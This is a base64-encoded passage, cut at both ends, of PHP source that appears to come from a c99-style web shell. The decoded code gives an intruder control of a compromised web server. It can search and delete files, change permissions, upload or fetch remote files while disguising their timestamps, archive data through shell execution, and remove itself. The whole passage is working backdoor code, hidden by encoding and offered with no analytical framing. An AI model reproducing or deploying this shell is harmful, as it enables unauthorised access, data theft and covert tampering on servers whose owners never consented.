MCEiOyBjYXByaXY4ZXhpdCgpOyB9DQogICAgZWxzZSB7ZWNobyAiPGNlbnRlcj48Yj5DYW4ndCBkZWxldGUgIi5fX0ZJTEVfXy4iITwvYj48L2NlbnRlcj4iO30NCiAgfQ0KICBlbHNlIHsNCiAgICBpZiAoIWVtcHR5KCRybmRjb2RlKSkge2VjaG8gIjxiPkVycm9yOiBpbmNvcnJlY3QgY29uZmlybWF0aW9uITwvYj4iO30NCiAgICAkcm5kID0gcmFuZCgwLDkpLnJhbmQoMCw5KS5yYW5kKDAsOSk7DQogICAgZWNobyAiPGZvcm0gYWN0aW9uPVwiIi4kc3VybC4iXCI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9eCB2YWx1ZT1zZWxmcmVtb3ZlPjxiPlNlbGYtcmVtb3ZlOiAiLl9fRklMRV9fLiIgPGJyPjxiPkFyZSB5b3Ugc3VyZT88YnI+Rm9yIGNvbmZpcm1hdGlvbiwgZW50ZXIgXCIiLiRybmQuIlwiPC9iPjombmJzcDs8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1ybmRjb2RlIHZhbHVlPVwiIi4kcm5kLiJcIj48aW5wdXQgdHlwZT10ZXh0IG5hbWU9c3VibWl0PiZuYnNwOzxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT1cIllFU1wiPjwvZm9ybT4iOw0KICB9DQp9DQoNCg0KDQo/Pg0KDQo8Pw0KDQoNCg0KDQoNCg0KDQppZiAoJHggPT0gInNlYXJjaCIpIHsNCiAgZWNobyAiPGRpdiBjbGFzcz1iYXJoZWFkZXI+LjogRmlsZS1TeXN0ZW0gU2VhcmNoIDouPC9kaXY+IjsNCiAgaWYgKGVtcHR5KCRzZWFyY2hfaW4pKSB7JHNlYXJjaF9pbiA9ICRkO30NCiAgaWYgKGVtcHR5KCRzZWFyY2hfbmFtZSkpIHskc2VhcmNoX25hbWUgPSAiKC4qKSI7ICRzZWFyY2hfbmFtZV9yZWdleHAgPSAxO30NCiAgaWYgKGVtcHR5KCRzZWFyY2hfdGV4dF93d28pKSB7JHNlYXJjaF90ZXh0X3JlZ2V4cCA9IDA7fQ0KICBpZiAoIWVtcHR5KCRzdWJtaXQpKSB7DQogICAgJGZvdW5kID0gYXJyYXkoKTsNCiAgICAkZm91bmRfZCA9IDA7DQogICAgJGZvdW5kX2YgPSAwOw0KICAgICRzZWFyY2hfaV9mID0gMDsNCiAgICAkc2VhcmNoX2lfZCA9IDA7DQogICAgJGEgPSBhcnJheSgNCiAgICAgICAgIm5hbWUiPT4kc2VhcmNoX25hbWUsDQogICAgICAgICJuYW1lX3JlZ2V4cCI9PiRzZWFyY2hfbmFtZV9yZWdleHAsDQogICAgICAgICJ0ZXh0Ij0+JHNlYXJjaF90ZXh0LA0KICAgICAgICAidGV4dF9yZWdleHAiPT4kc2VhcmNoX3RleHRfcmVneHAsDQogICAgICAgICJ0ZXh0X3d3byI9PiRzZWFyY2hfdGV4dF93d28sDQogICAgICAgICJ0ZXh0X2NzIj0+JHNlYXJjaF90ZXh0X2NzLA0KICAgICAgICAidGV4dF9ub3QiPT4kc2VhcmNoX3RleHRfbm90DQogICAgKTsNCiAgICAkc2VhcmNodGltZSA9IGdldG1pY3JvdGltZSgpOw0KICAgICRpbiA9IGFycmF5X3VuaXF1ZShleHBsb2RlKCI7Iiwkc2VhcmNoX2luKSk7DQogICAgZm9yZWFjaCgkaW4gYXMgJHYpIHtjYWZzZWFyY2goJHYpO30NCiAgICAkc2VhcmNodGltZSA9IHJvdW5kKGdldG1pY3JvdGltZSgpLSRzZWFyY2h0aW1lLDQpOw0KICAgIGlmIChjb3VudCgkZm91bmQpID09IDApIHtlY2hvICJObyBmaWxlcyBmb3VuZCEiO30NCiAgICBlbHNlIHsNCiAgICAgICRsc19hcnIgPSAkZm91bmQ7DQogICAgICAkZGlzcF9mdWxscGF0aCA9IFRSVUU7DQogICAgICAkeCA9ICJscyI7DQogICAgfQ0KICB9DQogIGVjaG8gIjx0YWJsZSBjbGFzcz1jb250ZW50cz4iLg0KICAgICAgICI8dHI+PHRkPjxmb3JtIG1ldGhvZD1QT1NUPiIuDQogICAgICAgIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPVwiZFwiIHZhbHVlPVwiIi4kZGlzcGQuIlwiPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXggdmFsdWU9XCIiLiRkc3BhY3QuIlwiPiIuDQogICAgICAgIkZpbGUgb3IgZm9sZGVyIE5hbWU6PC90ZD48dGQ+PGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cInNlYXJjaF9uYW1lXCIgc2l6ZT1cIiIucm91bmQoc3RybGVuKCRzZWFyY2hfbmFtZSkrMjUpLiJcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc2VhcmNoX25hbWUpLiJcIj4mbmJzcDs8aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cInNlYXJjaF9uYW1lX3JlZ2V4cFwiIHZhbHVlPVwiMVwiICIuKCRzZWFyY2hfbmFtZV9yZWdleHAgPT0gMT8iIGNoZWNrZWQiOiIiKS4iPiAtIFJlZ3VsYXIgRXhwcmVzc2lvbjwvdGQ+PC90cj4iLg0KICAgICAgICI8dHI+PHRkPkxvb2sgaW4gKFNlcGFyYXRlIGJ5IFwiO1wiKTo8L3RkPjx0ZD48aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwic2VhcmNoX2luXCIgc2l6ZT1cIiIucm91bmQoc3RybGVuKCRzZWFyY2hfaW4pKzI1KS4iXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNlYXJjaF9pbikuIlwiPjwvdGQ+PC90cj4iLg0KICAgICAgICI8dHI+PHRkPkEgd29yZCBvciBwaHJhc2UgaW4gdGhlIGZpbGU6PC90ZD48dGQ+PHRleHRhcmVhIG5hbWU9XCJzZWFyY2hfdGV4dFwiIGNvbHM9XCI1MFwiIHJvd3M9XCI1XCI+Ii5odG1sc3BlY2lhbGNoYXJzKCRzZWFyY2hfdGV4dCkuIjwvdGV4dGFyZWE+PC90ZD48L3RyPiIuDQogICAgICAgIjx0cj48dGQ+PC90ZD48dGQ+PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJzZWFyY2hfdGV4dF9yZWdleHBcIiB2YWx1ZT1cIjFcIiAiLigkc2VhcmNoX3RleHRfcmVnZXhwID09IDE/IiBjaGVja2VkIjoiIikuIj4gUmVndWxhciBFeHByZXNzaW9uIi4NCiAgICAgICAiICA8aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cInNlYXJjaF90ZXh0X3d3b1wiIHZhbHVlPVwiMVwiICIuKCRzZWFyY2hfdGV4dF93d28gPT0gMT8iIGNoZWNrZWQiOiIiKS4iPiBXaG9sZSB3b3JkcyBvbmx5Ii4NCiAgICAgICAiICA8aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cInNlYXJjaF90ZXh0X2NzXCIgdmFsdWU9XCIxXCIgIi4oJHNlYXJjaF90ZXh0X2NzID09IDE/IiBjaGVja2VkIjoiIikuIj4gQ2FzZSBzZW5zaXRpdmUiLg0KICAgICAgICIgIDxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwic2VhcmNoX3RleHRfbm90XCIgdmFsdWU9XCIxXCIgIi4oJHNlYXJjaF90ZXh0X25vdCA9PSAxPyIgY2hlY2tlZCI6IiIpLiI+IEZpbmQgZmlsZXMgTk9UIGNvbnRhaW5pbmcgdGhlIHRleHQ8L3RkPjwvdHI+Ii4NCiAgICAgICAiPHRyPjx0ZD48L3RkPjx0ZD48aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT1zdWJtaXQgdmFsdWU9XCJTZWFyY2hcIj48L2Zvcm0+PC90ZD48L3RyPiIuDQogICAgICAgIjwvdGFibGU+IjsNCiAgaWYgKCR4ID09ICJscyIpIHsNCiAgICAkZHNwYWN0ID0gJHg7DQogICAgZWNobyAiU2VhcmNoIHRvb2sgIi4kc2VhcmNodGltZS4iIHNlY3MgKCIuJHNlYXJjaF9pX2YuIiBmaWxlcyBhbmQgIi4kc2VhcmNoX2lfZC4iIGZvbGRlcnMsICIucm91bmQoKCRzZWFyY2hfaV9mKyRzZWFyY2hfaV9kKS8kc2VhcmNodGltZSw0KS4iIG9iamVjdHMgcGVyIHNlY29uZCkuPC9iPiIuDQogICAgICAgICAiPGhyIHNpemU9XCIxXCIgbm9zaGFkZT4iOw0KICB9DQp9DQppZiAoJHggPT0gImNobW9kIikgew0KICAkbW9kZSA9IGZpbGVwZXJtcygkZC4kZik7DQogIGlmICghJG1vZGUpIHtlY2hvICI8Yj5DaGFuZ2UgZmlsZS1tb2RlIHdpdGggZXJyb3I6PC9iPiBjYW4ndCBnZXQgY3VycmVudCB2YWx1ZS4iO30NCiAgZWxzZSB7DQogICAgJGZvcm0gPSBUUlVFOw0KICAgIGlmICgkY2htb2Rfc3VibWl0KQ0KICB7DQogICAkb2N0ZXQgPSAiMCIuYmFzZV9jb252ZXJ0KCgkY2htb2Rfb1siciJdPzE6MCkuKCRjaG1vZF9vWyJ3Il0/MTowKS4oJGNobW9kX29bIngiXT8xOjApLigkY2htb2RfZ1siciJdPzE6MCkuKCRjaG1vZF9nWyJ3Il0/MTowKS4oJGNobW9kX2dbIngiXT8xOjApLigkY2htb2Rfd1siciJdPzE6MCkuKCRjaG1vZF93WyJ3Il0/MTowKS4oJGNobW9kX3dbIngiXT8xOjApLDIsOCk7DQogICBpZiAoY2htb2QoJGQuJGYsJG9jdGV0KSkgeyR4ID0gImxzIjsgJGZvcm0gPSBGQUxTRTsgJGVyciA9ICIiO30NCiAgIGVsc2UgeyRlcnIgPSAiQ2FuJ3QgY2htb2QgdG8gIi4kb2N0ZXQuIi4iO30NCiAgfQ0KICBpZiAoJGZvcm0pDQogIHsNCiAgICRwZXJtcyA9IHBhcnNlX3Blcm1zKCRtb2RlKTsNCiAgIGVjaG8gIjxiPkNoYW5naW5nIGZpbGUtbW9kZSAoIi4kZC4kZi4iKSwgIi52aWV3X3Blcm1zX2NvbG9yKCRkLiRmKS4iICgiLnN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKCRkLiRmKSksLTQsNCkuIik8L2I+PGJyPiIuKCRlcnI/IjxiPkVycm9yOjwvYj4gIi4kZXJyOiIiKS4iPGZvcm0gYWN0aW9uPVwiIi4kc3VybC4iXCIgbWV0aG9kPVBPU1Q+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZCB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkZCkuIlwiPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWYgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJGYpLiJcIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT14IHZhbHVlPWNobW9kPjx0YWJsZSBhbGlnbj1sZWZ0IHdpZHRoPTMwMCBib3JkZXI9MCBjZWxsc3BhY2luZz0wIGNlbGxwYWRkaW5nPTU+PHRyPjx0ZD48Yj5Pd25lcjwvYj48YnI+PGJyPjxpbnB1dCB0eXBlPWNoZWNrYm94IE5BTUU9Y2htb2Rfb1tyXSB2YWx1ZT0xIi4oJHBlcm1zWyJvIl1bInIiXT8iIGNoZWNrZWQiOiIiKS4iPiZuYnNwO1JlYWQ8YnI+PGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT1jaG1vZF9vW3ddIHZhbHVlPTEiLigkcGVybXNbIm8iXVsidyJdPyIgY2hlY2tlZCI6IiIpLiI+Jm5ic3A7V3JpdGU8YnI+PGlucHV0IHR5cGU9Y2hlY2tib3ggTkFNRT1jaG1vZF9vW3hdIHZhbHVlPTEiLigkcGVybXNbIm8iXVsieCJdPyIgY2hlY2tlZCI6IiIpLiI+ZVhlY3V0ZTwvdGQ+PHRkPjxiPkdyb3VwPC9iPjxicj48YnI+PGlucHV0IHR5cGU9Y2hlY2tib3ggTkFNRT1jaG1vZF9nW3JdIHZhbHVlPTEiLigkcGVybXNbImciXVsiciJdPyIgY2hlY2tlZCI6IiIpLiI+Jm5ic3A7UmVhZDxicj48aW5wdXQgdHlwZT1jaGVja2JveCBOQU1FPWNobW9kX2dbd10gdmFsdWU9MSIuKCRwZXJtc1siZyJdWyJ3Il0/IiBjaGVja2VkIjoiIikuIj4mbmJzcDtXcml0ZTxicj48aW5wdXQgdHlwZT1jaGVja2JveCBOQU1FPWNobW9kX2dbeF0gdmFsdWU9MSIuKCRwZXJtc1siZyJdWyJ4Il0/IiBjaGVja2VkIjoiIikuIj5lWGVjdXRlPC9mb250PjwvdGQ+PHRkPjxiPldvcmxkPC9iPjxicj48YnI+PGlucHV0IHR5cGU9Y2hlY2tib3ggTkFNRT1jaG1vZF93W3JdIHZhbHVlPTEiLigkcGVybXNbInciXVsiciJdPyIgY2hlY2tlZCI6IiIpLiI+Jm5ic3A7UmVhZDxicj48aW5wdXQgdHlwZT1jaGVja2JveCBOQU1FPWNobW9kX3dbd10gdmFsdWU9MSIuKCRwZXJtc1sidyJdWyJ3Il0/IiBjaGVja2VkIjoiIikuIj4mbmJzcDtXcml0ZTxicj48aW5wdXQgdHlwZT1jaGVja2JveCBOQU1FPWNobW9kX3dbeF0gdmFsdWU9MSIuKCRwZXJtc1sidyJdWyJ4Il0/IiBjaGVja2VkIjoiIikuIj5lWGVjdXRlPC9mb250PjwvdGQ+PC90cj48dHI+PHRkPjxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPWNobW9kX3N1Ym1pdCB2YWx1ZT1cIlNhdmVcIj48L3RkPjwvdHI+PC90YWJsZT48L2Zvcm0+IjsNCiAgfQ0KfQ0KfQ0KaWYgKCR4ID09ICJ1cGxvYWQiKSB7DQogICR1cGxvYWRtZXNzID0gIiI7DQogICR1cGxvYWRwYXRoID0gc3RyX3JlcGxhY2UoIlxcIixESVJFQ1RPUllfU0VQQVJBVE9SLCR1cGxvYWRwYXRoKTsNCiAgaWYgKGVtcHR5KCR1cGxvYWRwYXRoKSkgeyR1cGxvYWRwYXRoID0gJGQ7fQ0KICBlbHNlaWYgKHN1YnN0cigkdXBsb2FkcGF0aCwtMSkgIT0gRElSRUNUT1JZX1NFUEFSQVRPUikgeyR1cGxvYWRwYXRoIC49IERJUkVDVE9SWV9TRVBBUkFUT1I7fQ0KICBpZiAoIWVtcHR5KCRzdWJtaXQpKSB7DQogICAgZ2xvYmFsICRfRklMRVM7DQogICAgJHVwbG9hZGZpbGUgPSAkX0ZJTEVTWyJ1cGxvYWRmaWxlIl07DQogICAgaWYgKCFlbXB0eSgkdXBsb2FkZmlsZVsidG1wX25hbWUiXSkpIHsNCiAgICAgIGlmIChlbXB0eSgkdXBsb2FkZmlsZW5hbWUpKSB7JGRlc3RpbiA9ICR1cGxvYWRmaWxlWyJuYW1lIl07fQ0KICAgICAgZWxzZSB7JGRlc3RpbiA9ICR1c2VyZmlsZW5hbWU7fQ0KICAgICAgaWYgKCFtb3ZlX3VwbG9hZGVkX2ZpbGUoJHVwbG9hZGZpbGVbInRtcF9uYW1lIl0sJHVwbG9hZHBhdGguJGRlc3RpbikpIHsNCiAgICAgICAgJHVwbG9hZG1lc3MgLj0gIkVycm9yIHVwbG9hZGluZyBmaWxlICIuJHVwbG9hZGZpbGVbIm5hbWUiXS4iIChjYW4ndCBjb3B5IFwiIi4kdXBsb2FkZmlsZVsidG1wX25hbWUiXS4iXCIgdG8gXCIiLiR1cGxvYWRwYXRoLiRkZXN0aW4uIlwiITxicj4iOw0KICAgICAgfQ0KICAgICAgZWxzZSB7ICR1cGxvYWRtZXNzIC49ICJGaWxlIHVwbG9hZGVkIHN1Y2Nlc3NmdWxseSE8YnI+Ii4kdXBsb2FkcGF0aC4kZGVzdGluOyB9DQogICAgfQ0KICAgIGVsc2VpZiAoIWVtcHR5KCR1cGxvYWR1cmwpKSB7DQogICAgICBpZiAoIWVtcHR5KCR1cGxvYWRmaWxlbmFtZSkpIHskZGVzdGluID0gJHVwbG9hZGZpbGVuYW1lO30NCiAgICAgIGVsc2Ugew0KICAgICAgICAkZGVzdGluID0gZXhwbG9kZSgiLyIsJGRlc3Rpbik7DQogICAgICAgICRkZXN0aW4gPSAkZGVzdGluW2NvdW50KCRkZXN0aW4pLTFdOw0KICAgICAgICBpZiAoZW1wdHkoJGRlc3RpbikpIHsNCiAgICAgICAgICAkaSA9IDA7DQogICAgICAgICAgJGIgPSAiIjsNCiAgICAgICAgICB3aGlsZShmaWxlX2V4aXN0cygkdXBsb2FkcGF0aC4kZGVzdGluKSkgew0KICAgICAgICAgICAgaWYgKCRpID4gMCkgeyRiID0gIl8iLiRpO30NCiAgICAgICAgICAgICRkZXN0aW4gPSAidXBsb2FkIi4kYjsNCiAgICAgICAgICAgICRpKys7DQogICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICB9DQogICAgICBpZiAoKCFlcmVnaSgiaHR0cDovLyIsJHVwbG9hZHVybCkpIGFuZCAoIWVyZWdpKCJodHRwczovLyIsJHVwbG9hZHVybCkpIGFuZCAoIWVyZWdpKCJmdHA6Ly8iLCR1cGxvYWR1cmwpKSkge2VjaG8gIjxiPkluY29ycmVjdCBVUkwhPC9iPiI7fQ0KICAgICAgZWxzZSB7DQogICAgICAgICRzdCA9IGdldG1pY3JvdGltZSgpOw0KICAgICAgICAkY29udGVudCA9IEBmaWxlX2dldF9jb250ZW50cygkdXBsb2FkdXJsKTsNCiAgICAgICAgJGR0ID0gcm91bmQoZ2V0bWljcm90aW1lKCktJHN0LDQpOw0KICAgICAgICBpZiAoISRjb250ZW50KSB7JHVwbG9hZG1lc3MgLj0gICJDYW4ndCBkb3dubG9hZCBmaWxlISI7fQ0KICAgICAgICBlbHNlIHsNCiAgICAgICAgICBpZiAoJGZpbGVzdGVhbHRoKSB7JHN0YXQgPSBzdGF0KCR1cGxvYWRwYXRoLiRkZXN0aW4pO30NCiAgICAgICAgICAkZnAgPSBmb3BlbigkdXBsb2FkcGF0aC4kZGVzdGluLCJ3Iik7DQogICAgICAgICAgaWYgKCEkZnApIHskdXBsb2FkbWVzcyAuPSAiRXJyb3Igd3JpdGluZyB0byBmaWxlICIuaHRtbHNwZWNpYWxjaGFycygkZGVzdGluKS4iITxicj4iO30NCiAgICAgICAgICBlbHNlIHsNCiAgICAgICAgICAgIGZ3cml0ZSgkZnAsJGNvbnRlbnQsc3RybGVuKCRjb250ZW50KSk7DQogICAgICAgICAgICBmY2xvc2UoJGZwKTsNCiAgICAgICAgICAgIGlmICgkZmlsZXN0ZWFsdGgpIHt0b3VjaCgkdXBsb2FkcGF0aC4kZGVzdGluLCRzdGF0WzldLCRzdGF0WzhdKTt9DQogICAgICAgICAgICAkdXBsb2FkbWVzcyAuPSAiRmlsZSBzYXZlZCBmcm9tICIuJHVwbG9hZHVybC4iICEiOw0KICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgfQ0KICAgIH0NCiAgICBlbHNlIHsgZWNobyAiTm8gZmlsZSB0byB1cGxvYWQhIjsgfQ0KICB9DQogIGlmICgkbWluaWZvcm0pIHsNCiAgICBlY2hvICI8Yj4iLiR1cGxvYWRtZXNzLiI8L2I+IjsNCiAgICAkeCA9ICJscyI7DQogIH0NCiAgZWxzZSB7DQogICAgZWNobyAiPHRhYmxlPjx0cj48dGQgY29sc3Bhbj0yIGNsYXNzPWJhcmhlYWRlcj4iLg0KICAgICAgICAgIi46IEZpbGUgVXBsb2FkIDouPC90ZD4iLg0KICAgICAgICAgIjx0ZCBjb2xzcGFuPTI+Ii4kdXBsb2FkbWVzcy4iPC90ZD48L3RyPiIuDQogICAgICAgICAiPHRyPjx0ZD48Zm9ybSBlbmN0eXBlPVwibXVsdGlwYXJ0L2Zvcm0tZGF0YVwiIGFjdGlvbj1cIiIuJHN1cmwuIng9dXBsb2FkJmQ9Ii51cmxlbmNvZGUoJGQpLiJcIiBtZXRob2Q9UE9TVD4iLg0KICAgICAgICAgIkZyb20gWW91ciBDb21wdXRlcjo8L3RkPjx0ZD48aW5wdXQgbmFtZT1cInVwbG9hZGZpbGVcIiB0eXBlPVwiZmlsZVwiPjwvdGQ+PC90cj4iLg0KICAgICAgICAgIjx0cj48dGQ+RnJvbSBVUkw6PC90ZD48dGQ+PGlucHV0IG5hbWU9XCJ1cGxvYWR1cmxcIiB0eXBlPVwidGV4dFwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCR1cGxvYWR1cmwpLiJcIiBzaXplPVwiNzBcIj48L3RkPjwvdHI+Ii4NCiAgICAgICAgICI8dHI+PHRkPlRhcmdldCBEaXJlY3Rvcnk6PC90ZD48dGQ+PGlucHV0IG5hbWU9XCJ1cGxvYWRwYXRoXCIgc2l6ZT1cIjcwXCIgdmFsdWU9XCIiLiRkaXNwZC4iXCI+PC90ZD48L3RyPiIuDQogICAgICAgICAiPHRyPjx0ZD5UYXJnZXQgRmlsZSBOYW1lOjwvdGQ+PHRkPjxpbnB1dCBuYW1lPXVwbG9hZGZpbGVuYW1lIHNpemU9MjU+PC90ZD48L3RyPiIuDQogICAgICAgICAiPHRyPjx0ZD48L3RkPjx0ZD48aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPXVwbG9hZGF1dG9uYW1lIHZhbHVlPTEgaWQ9ZGY0PiBDb252ZXJ0IGZpbGUgbmFtZSB0byBsb3dlcmNhc2U8L3RkPjwvdHI+Ii4NCiAgICAgICAgICI8dHI+PHRkPjwvdGQ+PHRkPjxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPXN1Ym1pdCB2YWx1ZT1cIlVwbG9hZFwiPiIuDQogICAgICAgICAiPC9mb3JtPjwvdGQ+PC90cj48L3RhYmxlPiI7DQogIH0NCn0NCmlmICgkeCA9PSAiZGVsZXRlIikgew0KICAkZGVsZXJyID0gIiI7DQogIGZvcmVhY2ggKCRhY3Rib3ggYXMgJHYpIHsNCiAgICAkcmVzdWx0ID0gRkFMU0U7DQogICAgJHJlc3VsdCA9IGZzX3Jtb2JqKCR2KTsNCiAgICBpZiAoISRyZXN1bHQpIHskZGVsZXJyIC49ICJDYW4ndCBkZWxldGUgIi5odG1sc3BlY2lhbGNoYXJzKCR2KS4iPGJyPiI7fQ0KICB9DQogIGlmICghZW1wdHkoJGRlbGVycikpIHtlY2hvICI8Yj5EZWxldGluZyB3aXRoIGVycm9yczo8L2I+PGJyPiIuJGRlbGVycjt9DQogICR4ID0gImxzIjsNCn0NCmlmICghJHVzZWZzYnVmZikgew0KICBpZiAoKCR4ID09ICJwYXN0ZSIpIG9yICgkeCA9PSAiY29weSIpIG9yICgkeCA9PSAiY3V0Iikgb3IgKCR4ID09ICJ1bnNlbGVjdCIpKSB7ZWNobyAiPGNlbnRlcj48Yj5Tb3JyeSwgYnVmZmVyIGlzIGRpc2FibGVkLiBGb3IgZW5hYmxlLCBzZXQgZGlyZWN0aXZlIFwiXCR1c2Vmc2J1ZmZcIiBhcyBUUlVFLjwvY2VudGVyPiI7fQ0KfQ0KZWxzZSB7DQogIGlmICgkeCA9PSAiY29weSIpIHskZXJyID0gIiI7ICRzZXNzX2RhdGFbImNvcHkiXSA9IGFycmF5X21lcmdlKCRzZXNzX2RhdGFbImNvcHkiXSwkYWN0Ym94KTsgY2Ffc2Vzc19wdXQoJHNlc3NfZGF0YSk7ICR4ID0gImxzIjsgfQ0KICBlbHNlaWYgKCR4ID09ICJjdXQiKSB7JHNlc3NfZGF0YVsiY3V0Il0gPSBhcnJheV9tZXJnZSgkc2Vzc19kYXRhWyJjdXQiXSwkYWN0Ym94KTsgY2Ffc2Vzc19wdXQoJHNlc3NfZGF0YSk7ICR4ID0gImxzIjt9DQogIGVsc2VpZiAoJHggPT0gInVuc2VsZWN0Iikge2ZvcmVhY2ggKCRzZXNzX2RhdGFbImNvcHkiXSBhcyAkaz0+JHYpIHtpZiAoaW5fYXJyYXkoJHYsJGFjdGJveCkpIHt1bnNldCgkc2Vzc19kYXRhWyJjb3B5Il1bJGtdKTt9fSBmb3JlYWNoICgkc2Vzc19kYXRhWyJjdXQiXSBhcyAkaz0+JHYpIHtpZiAoaW5fYXJyYXkoJHYsJGFjdGJveCkpIHt1bnNldCgkc2Vzc19kYXRhWyJjdXQiXVska10pO319IGNhX3Nlc3NfcHV0KCRzZXNzX2RhdGEpOyAkeCA9ICJscyI7fQ0KICBpZiAoJGFjdGVtcHR5YnVmZikgeyRzZXNzX2RhdGFbImNvcHkiXSA9ICRzZXNzX2RhdGFbImN1dCJdID0gYXJyYXkoKTsgY2Ffc2Vzc19wdXQoJHNlc3NfZGF0YSk7fQ0KICBlbHNlaWYgKCRhY3RwYXN0ZWJ1ZmYpIHsNCiAgICAkcHN0ZXJyID0gIiI7DQogICAgZm9yZWFjaCgkc2Vzc19kYXRhWyJjb3B5Il0gYXMgJGs9PiR2KSB7DQogICAgICAkdG8gPSAkZC5iYXNlbmFtZSgkdik7DQogICAgICBpZiAoIWZzX2NvcHlfb2JqKCR2LCR0bykpIHskcHN0ZXJyIC49ICJDYW4ndCBjb3B5ICIuJHYuIiB0byAiLiR0by4iITxicj4iO30NCiAgICAgIGlmICgkY29weV91bnNldCkge3Vuc2V0KCRzZXNzX2RhdGFbImNvcHkiXVska10pO30NCiAgICB9DQogICAgZm9yZWFjaCgkc2Vzc19kYXRhWyJjdXQiXSBhcyAkaz0+JHYpIHsNCiAgICAgICR0byA9ICRkLmJhc2VuYW1lKCR2KTsNCiAgICAgIGlmICghZnNfbW92ZV9vYmooJHYsJHRvKSkgeyRwc3RlcnIgLj0gIkNhbid0IG1vdmUgIi4kdi4iIHRvICIuJHRvLiIhPGJyPiI7fQ0KICAgICAgdW5zZXQoJHNlc3NfZGF0YVsiY3V0Il1bJGtdKTsNCiAgICB9DQogICAgY2Ffc2Vzc19wdXQoJHNlc3NfZGF0YSk7DQogICAgaWYgKCFlbXB0eSgkcHN0ZXJyKSkge2VjaG8gIjxiPlBhc3Rpbmcgd2l0aCBlcnJvcnM6PC9iPjxicj4iLiRwc3RlcnI7fQ0KICAgICR4ID0gImxzIjsNCiAgfQ0KICBlbHNlaWYgKCRhY3RhcmNidWZmKSB7DQogICAgJGFyY2VyciA9ICIiOw0KICAgIGlmIChzdWJzdHIoJGFjdGFyY2J1ZmZfcGF0aCwtNyw3KSA9PSAiLnRhci5neiIpIHskZXh0ID0gIi50YXIuZ3oiO30NCiAgICBlbHNlIHskZXh0ID0gIi50YXIuZ3oiO30NCiAgICBpZiAoJGV4dCA9PSAiLnRhci5neiIpIHskY21kbGluZSA9ICJ0YXIgY2Z6diI7fQ0KICAgICRjbWRsaW5lIC49ICIgIi4kYWN0YXJjYnVmZl9wYXRoOw0KICAgICRvYmplY3RzID0gYXJyYXlfbWVyZ2UoJHNlc3NfZGF0YVsiY29weSJdLCRzZXNzX2RhdGFbImN1dCJdKTsNCiAgICBmb3JlYWNoKCRvYmplY3RzIGFzICR2KSB7DQogICAgICAkdiA9IHN0cl9yZXBsYWNlKCJcXCIsRElSRUNUT1JZX1NFUEFSQVRPUiwkdik7DQogICAgICBpZiAoc3Vic3RyKCR2LDAsc3RybGVuKCRkKSkgPT0gJGQpIHskdiA9IGJhc2VuYW1lKCR2KTt9DQogICAgICBpZiAoaXNfZGlyKCR2KSkgew0KICAgICAgICBpZiAoc3Vic3RyKCR2LC0xKSAhPSBESVJFQ1RPUllfU0VQQVJBVE9SKSB7JHYgLj0gRElSRUNUT1JZX1NFUEFSQVRPUjt9DQogICAgICAgICR2IC49ICIqIjsNCiAgICAgIH0NCiAgICAgICRjbWRsaW5lIC49ICIgIi4kdjsNCiAgICB9DQogICAgJHRtcCA9IHJlYWxwYXRoKCIuIik7DQogICAgY2hkaXIoJGQpOw0KICAgICRyZXQgPSBteXNoZWxsZXhlYygkY21kbGluZSk7DQogICAgY2hkaXIoJHRtcCk7DQogICAgaWYgKGVtcHR5KCRyZXQpKSB7JGFyY2VyciAuPSAiQ2FuJ3QgY2FsbCBhcmNoaXZhdG9yICgiLmh0bWxzcGVjaWFsY2hhcnMoc3RyMm1pbmkoJGNtZGxpbmUsNjApKS4iKSE8YnI+Ijt9DQogICAgJHJldCA9IHN0cl9yZXBsYWNlKCJcclxuIiwiXG4iLCRyZXQpOw0KICAgICRyZXQgPSBleHBsb2RlKCJcbiIsJHJldCk7DQogICAgaWYgKCRjb3B5X3Vuc2V0KSB7Zm9yZWFjaCgkc2Vzc19kYXRhWyJjb3B5Il0gYXMgJGs9PiR2KSB7dW5zZXQoJHNlc3NfZGF0YVsiY29weSJdWyRrXSk7fX0NCiAgICBmb3JlYWNoKCRzZXNzX2RhdGFbImN1dCJdIGFzICRrPT4kdikgew0KICAgICAgaWYgKGluX2FycmF5KCR2LCRyZXQpKSB7ZnNfcm1vYmooJHYpO30NCiAgICAgIHVuc2V0KCRzZXNzX2RhdGFbImN1dCJdWyRrXSk7DQogICAgfQ0KICAgIGNhX3Nlc3NfcHV0KCRzZXNzX2RhdGEpOw0KICAgIGlmICghZW1wdHkoJGFyY2VycikpIHtlY2hvICI8Yj5BcmNoaXZhdGlvbiBlcnJvcnM6PC9iPjxicj4iLiRhcmNlcnI7fQ0KICAgICR4ID0gImxzIjsNCiAgfQ0KICBlbHNlaWYgKCRhY3RwYXN0ZWJ1ZmYpIHsNCiAgICAkcHN0ZXJyID0gIiI7DQogICAgZm9yZWFjaCgkc2Vzc19kYXRhWyJjb3B5Il0gYXMgJGs9PiR2KSB7DQogICAgICAkdG8gPSAkZC5iYXNlbmFtZSgkdik7DQogICAgICBpZiAoIWZzX2NvcHlfb2JqKCR2